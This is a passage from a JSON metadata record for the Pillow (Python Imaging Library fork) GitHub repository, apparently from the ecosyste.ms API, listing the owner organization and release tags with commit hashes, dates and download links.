l":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"python-pillow","name":"Pillow","uuid":"2036701","kind":"organization","description":"The friendly PIL fork (Python Imaging Library)","email":"aclark@python-pillow.org","website":"https://python-pillow.org","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/2036701?v=4","repositories_count":18,"last_synced_at":"2024-04-16T15:09:59.077Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/python-pillow","funding_links":[],"total_stars":11805,"followers":134,"following":0,"created_at":"2022-11-02T16:23:18.204Z","updated_at":"2024-04-16T15:10:07.230Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/python-pillow/repositories"},"tags":[{"name":"10.4.0","sha":"9b4fae77178e827ab17118fbc89c739ffd6a0fab","kind":"commit","published_at":"2024-07-01T05:42:12.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.4.0/manifests"},{"name":"10.3.0","sha":"5c89d88eee199ba53f64581ea39b6a1bc52feb1a","kind":"commit","published_at":"2024-04-01T09:22:36.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.3.0/manifests"},{"name":"10.2.0","sha":"6956d0b2853f5c7ec5f6ec4c60725c5a7ee73aeb","kind":"commit","published_at":"2024-01-02T07:32:31.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.2.0/manifests"},{"name":"10.1.0","sha":"da59ad000d1405eaecd557175e29083a87d19f7c","kind":"commit","published_at":"2023-10-15T08:59:17.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.1.0/manifests"},{"name":"10.0.1","sha":"e34d346f10c0b1c814661e662a3e0c1ef084cf1c","kind":"commit","published_at":"2023-09-15T11:55:25.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.1/manifests"},{"name":"10.0.0","sha":"6e28ed1f36d0eb74053af54e1eddc9c29db698cd","kind":"commit","published_at":"2023-07-01T12:08:11.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/10.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/10.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/10.0.0/manifests"},{"name":"9.5.0","sha":"204590600c6a8c5246d0564d3312abd6e6b0ed70","kind":"commit","published_at":"2023-04-01T07:49:41.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.5.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.5.0/manifests"},{"name":"9.4.0","sha":"a5bbab1c1e63b439de191ef2040173713b26d2da","kind":"commit","published_at":"2023-01-01T23:29:07.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.4.0/manifests"},{"name":"9.3.0","sha":"d594f4cb8dc47fb0c69ae58d9fff86faae4515bd","kind":"commit","published_at":"2022-10-29T12:25:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.3.0/manifests"},{"name":"9.2.0","sha":"58acec3312fb8671c9d84829197e1c8150085589","kind":"commit","published_at":"2022-07-01T13:19:51.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.2.0/manifests"},{"name":"9.1.1","sha":"0f44136e720cd3b2db72bdf29614897b7aa3e868","kind":"commit","published_at":"2022-05-17T10:33:52.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.1/manifests"},{"name":"9.1.0","sha":"5d070222d21138d2ead002fd33fdf5adcb708941","kind":"commit","published_at":"2022-04-01T07:48:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.1.0/manifests"},{"name":"9.0.1","sha":"6deac9e3a23caffbfdd75c00d3f0a1cd36cdbd5d","kind":"commit","published_at":"2022-02-02T23:45:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.1/manifests"},{"name":"9.0.0","sha":"82541b6dec8452cb612067fcebba1c5a1a2bfdc8","kind":"commit","published_at":"2022-01-02T09:51:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.0/manifests"},{"name":"8.4.0","sha":"40e7ff622669550733b26f14dc817fb72e096250","kind":"commit","published_at":"2021-10-15T06:27:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.4.0/manifests"},{"name":"8.3.2","sha":"8013f130a5077b238a4346b73e149432b180a8ea","kind":"commit","published_at":"2021-09-02T12:13:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.2/manifests"},{"name":"8.3.1","sha":"92933b86574b9c80764bf52c357ed29e1ef53382","kind":"commit","published_at":"2021-07-06T14:05:28.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.1/manifests"},{"name":"8.3.0","sha":"51591a80a4e14543ea8cbe93026db5e79354b8c4","kind":"commit","published_at":"2021-07-01T03:53:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.0/manifests"},{"name":"8.2.0","sha":"e0e353c0ef7516979a9aedce3792596649ce4433","kind":"commit","published_at":"2021-04-01T17:58:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.2.0/manifests"},{"name":"8.1.2","sha":"88bd672dafad68b419ea29bef941dfa17f941038","kind":"commit","published_at":"2021-03-06T02:38:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.2/manifests"},{"name":"8.1.1","sha":"741d8744a54bedbc49f16922c61a06fcb3681f53","kind":"commit","published_at":"2021-03-01T08:24:03.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.1/manifests"},{"name":"8.1.0","sha":"fcc42e0d344146ee9d265d1f43c094ce5a0ec4cf","kind":"commit","published_at":"2021-01-02T11:39:02.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.0/manifests"},{"name":"8.0.1","sha":"d209b7cab2866cbf381cbfc193f57de91a403757","kind":"commit","published_at":"2020-10-22T15:05:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.1/manifests"},{"name":"8.0.0","sha":"235a7d6d7deab9555dc2c1b42fdf11243f6080e8","kind":"commit","published_at":"2020-10-14T16:02:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.0/manifests"},{"name":"7.2.0","sha":"2bd74943fb9f320def6c066e732b701d1c15f677","kind":"commit","published_at":"2020-06-30T07:50:35.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.2.0/manifests"},{"name":"7.1.2","sha":"4f6145655b6fa35ec8dd3600041418087e399758","kind":"commit","published_at":"2020-04-25T05:47:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.2/manifests"},{"name":"7.1.1","sha":"ed40d04ac4dc71518a1fcbb916d0d323ef70fbc5","kind":"commit","published_at":"2020-04-02T12:41:33.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.1/manifests"},{"name":"7.1.0","sha":"f0fe60ae9f930faeda2f0c22f602bed1f8a0f1c7","kind":"commit","published_at":"2020-04-01T10:12:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.0/manifests"},{"name":"7.0.0","sha":"1cecf08d16509c20473766b4cdb7a65169844819","kind":"commit","published_at":"2020-01-02T05:19:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.0.0/manifests"},{"name":"6.2.2","sha":"a45c8583ff90312a2fddc38567ed736cef4af563","kind":"commit","published_at":"2020-01-02T05:18:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.2/manifests"},{"name":"6.2.1","sha":"6e0f07bbe38def22d36ee176b2efd9ea74b453a6","kind":"commit","published_at":"2019-10-21T06:05:44.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.1/manifests"},{"name":"6.2.0","sha":"8a30d135378dc6a1c3c08fa4bb9fbc15370feedf","kind":"commit","published_at":"2019-10-01T09:24:57.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.0/manifests"},{"name":"6.1.0","sha":"aaca672173413883fbcefd659f04d74fe44fb5d5","kind":"commit","published_at":"2019-07-02T19:10:33.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.1.0/manifests"},{"name":"6.0.0","sha":"4f3b44960f103bc201a742332dbf9a77de1eaa87","kind":"commit","published_at":"2019-04-01T22:25:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.0.0/manifests"},{"name":"5.4.1","sha":"f38f01bbe3a0a9f49ce592c86ff20c01c9655133","kind":"commit","published_at":"2019-01-06T12:12:16.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.4.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.1/manifests"},{"name":"5.4.0","sha":"d2d438794cdd80bdbc852c884f0473c86fb72ab3","kind":"commit","published_at":"2019-01-01T10:56:08.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.0/manifests"},{"name":"5.3.0","sha":"0ac14725ef4444fdb2871a54bcc95fcd6b8807b3","kind":"commit","published_at":"2018-10-01T05:48:10.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.3.0/manifests"},{"name":"5.2.0","sha":"c28bf86b7e752a9257a0d4451ca878c1385db15c","kind":"commit","published_at":"2018-07-01T19:40:29.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.2.0/manifests"},{"name":"5.1.0","sha":"fda33d5c09142c4bb0e99964919d01c2cc5f5995","kind":"commit","published_at":"2018-04-02T18:40:12.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.1.0/manifests"},{"name":"5.0.0","sha":"e5bd7eb6235cc24b9c8d3e7ce51ed48a780c7c70","kind":"commit","published_at":"2018-01-01T15:03:06.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.0.0/manifests"},{"name":"4.3.0","sha":"636dc62f0e8f9b233f1f2b287292b45325df135d","kind":"commit","published_at":"2017-10-02T12:23:50.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.3.0/manifests"},{"name":"4.2.1","sha":"bbde1fe6826f642d2a5967edb6c9816f8d82b8e9","kind":"commit","published_at":"2017-07-06T14:28:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.1/manifests"},{"name":"4.2.0","sha":"acb19d8e45699bf961604e48b28002b099250ddd","kind":"commit","published_at":"2017-07-01T12:46:24.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.0/manifests"},{"name":"4.1.1","sha":"2b4486a588bfa2bbf9ecc8dae51282d81fa5d668","kind":"commit","published_at":"2017-04-28T15:42:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.1/manifests"},{"name":"4.1.0","sha":"38eff7400426de4b1a0b0d3e88c552d695c89252","kind":"commit","published_at":"2017-04-04T18:10:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.0/manifests"},{"name":"4.0.0a","sha":"3f6db91ccc917e803227d245e38871169f08350f","kind":"commit","published_at":"2017-01-02T11:45:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.0.0a","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.0.0a","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0a","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0a/manifests"},{"name":"4.0.0","sha":"a021d4978dd96371557f21c7b68feff2056a6e9b","kind":"commit","published_at":"2017-01-01T20:20:06.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0/manifests"},{"name":"3.4.2","sha":"1161d2054899ba2d9955870ad425553e7f0884ac","kind":"commit","published_at":"2016-10-17T08:35:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.2/manifests"},{"name":"3.4.1","sha":"2e1a3c29aa3f8191d56cc7d91e9b220fab2a8cb8","kind":"commit","published_at":"2016-10-04T14:11:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.1/manifests"},{"name":"3.3.3","sha":"b28c176817d340b2fa1bf9741a33f4dc3da4d382","kind":"commit","published_at":"2016-10-04T14:07:02.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.3","html_url":"https://github.com/python-pillow/Pillow/releases/tag/